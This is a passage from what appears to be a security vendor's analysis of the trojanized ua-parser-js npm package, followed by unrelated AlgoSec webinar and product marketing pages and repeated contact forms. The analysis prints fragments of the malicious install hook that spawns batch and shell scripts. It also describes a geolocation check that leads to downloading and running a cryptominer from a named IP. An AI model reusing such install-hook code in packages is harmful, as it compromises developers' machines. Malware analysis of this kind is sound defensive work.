Google search “file:ua-parser-js.js” reveals nearly 2 million websites, which indicates the package is popular. As seen in the source code diff , the newly added file package/preinstall.js will check the OS platform. If it’s Windows, the script will spawn a newly added preinstall.bat script. If the OS is Linux, the script will call terminalLinux() function, as seen in the source below: var opsys = process.platform; if ( opsys == "darwin" ) { opsys = "MacOS" ; } else if ( opsys == "win32" || opsys == "win64" ) { opsys = "Windows" ; const { spawn } = require ( 'child_process' ) ; const bat = spawn ( 'cmd.exe' , [ '/c' , 'preinstall.bat' ]) ; } else if ( opsys == "linux" ) { opsys = "Linux" ; terminalLinux () ; } The terminalLinux() function will run the newly added preinstall.sh script. function terminalLinux(){ exec( "/bin/bash preinstall.sh" , (error, stdout, stderr) => { ... }); } The malicious preinstall.sh script first queries an XML file that will report the current user’s geo-location by visiting this URL . For example, for a user located in Australia, the returned content will be: [IP_ADDRESS] AU Australia ... Next, the script searches for the presence of the following country codes in the returned XML file: RU UA BY KZ That is, the script identifies if the affected user is located in Russia, Ukraine, Belarus, or Kazakhstan. Suppose the user is NOT located in any of these countries. In that case, the script will then fetch and execute malicious ELF binary jsextension from a server with IP address 159.148.186.228, located in Latvia. jsextension binary is an XMRig cryptominer with reasonably good coverage by other AV products. Conclusion The compromised ua-parser-js is a showcase of a typical supply chain attack. Last year, Prevasio found and reported a malicious package flatmap-stream in 1,482 Docker container images hosted in Docker Hub with a combined download count of 95M. The most significant contributor was the trojanized official container image of Eclipse. What’s fascinating in this case, however, is the effectiveness of the malicious code proliferation. It only takes one software developer to ignore a simple trick that reliably prevents these things from happening. The name of this trick is two-factor authentication (2FA). About the Country Codes Some people wonder why cybercriminals from Russia often avoid attacking victims outside of their country or other Russian-speaking countries. Some go as far as suggesting it’s for their own legal protection. The reality is way simpler, of course: “Не гадь там, где живешь” “Не сри там, где ешь” “Не плюй в колодец, пригодится воды напиться” Polite translation of all these sayings is: “One should not cause trouble in a place, group, or situation where one regularly finds oneself.” Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

A deep dive into the Multi-Cloud Mess & How AlgoSec connects the dots Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Webinars Network Security Vision with Application Visibility | Live discussion and demo You’re always making changes to your network, commissioning and decommissioning servers, moving data to and from the cloud, revising application connectivity settings and policies, and/or adding and removing business applications. But how do you make sure that you are not running blind and making network configuration mistakes that may lead to outages? Are you leaving firewall openings for unused applications, making your network vulnerable to insider threats or outside attackers? Stop running blind. Expand your vision with application visibility. With application visibility, you associate your traffic flows to the related business applications, enhance network visibility, improve troubleshooting, gain enhanced compliance reports, and even save time while improving security on your network. In this webinar, Avishai Wool, AlgoSec’s co-founder and CTO, and Yoni Geva, AlgoSec’s Product Manager, will demonstrate – in a live demo – how to overcome these challenges and ensure business continuity through application visibility. Join the webinar and learn how to: Associate your business applications with your security policy rules. Identify the network traffic relevant for each application. Identify hidden risks and vulnerabilities in your applications. Associate compliance violations with relevant business applications. Improve troubleshooting by identifying affected applications. Better document the applications on your network. March 5, 2020 Prof. Avishai Wool CTO & Co Founder AlgoSec Yoni Geva Product Manager Relevant resources Adopting an application-centric approach to security management: getting business leaders interested Keep Reading The Need for Application-Centric Security Policy Management Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Algosec AppViz provides clear visibility into application connectivity, ensuring optimal security and simplifying network management. AppViz: AI-Powered Application Discovery, Visualization & Security Remove blind spots across your hybrid network Schedule a demo AI-Powered Application Discovery AppViz’s AI driven application discovery transforms how applications are onboarded. Instead of relying on manual identification, AppViz uses embedded AI to automatically surface high confidence application candidates based on real network and change data. The result is faster onboarding, broader coverage, and reduced operational effort while keeping you in control of what gets added to your environment. Accelerate secure change requests Reduce manual interventions and accelerate application delivery Gain faster visibility Gain a unified view of your network's security posture Strengthen governance Stay ahead of regulatory requirements with automated compliance checks Reduce manual mapping Prioritizes risks based on application criticality, risk severity, and threat exposure AppViz allows you to scale, secure, and simplify hybrid network security AppViz’s application first approach simplifies hybrid network security with: AI-Driven Discovery Engine AppViz automatically identifies application dependencies and traffic flows across hybrid networks. It enables a unified view of business application flows, spanning on-premises data centers and multi-cloud environments. Learn more Prioritize risk on context AppViz doesn’t just show vulnerabilities; it reveals them through a business lens, mapping them directly to the critical applications that underpin a company’s operations. Learn more Ensure Application-centric compliance Real-time visibility into compliance status across hybrid environments helps organizations stay ahead of regulatory demands. AppViz allow application recertification workflows that ensure tracking of compliance expiration dates without manual intervention, reducing audit preparation time by eliminating the need for rule-by-rule recertification. Learn more Automated change management Manual change-management processes can be error-prone and inefficient. To streamline security policy updates, it is essential to analyze the impact of planned network changes before implementation. Automating security policy changes reduces errors and accelerates processes. Integrating security, DevOps, and IT teams into a collaborative workflow enhances efficiency, while proactively addressing security risks helps lower change-request rejection rates. Learn more “The key is understanding your applications; if you don’t understand your applications fully, you can’t manage them, and you can’t reduce the risk around them” “Preparing for audits became 50% faster with AppViz” “We reduced change request rejections from 10% to 0%” Don’t just take our word for it Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Partner solution brief AlgoSec and Zscaler Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue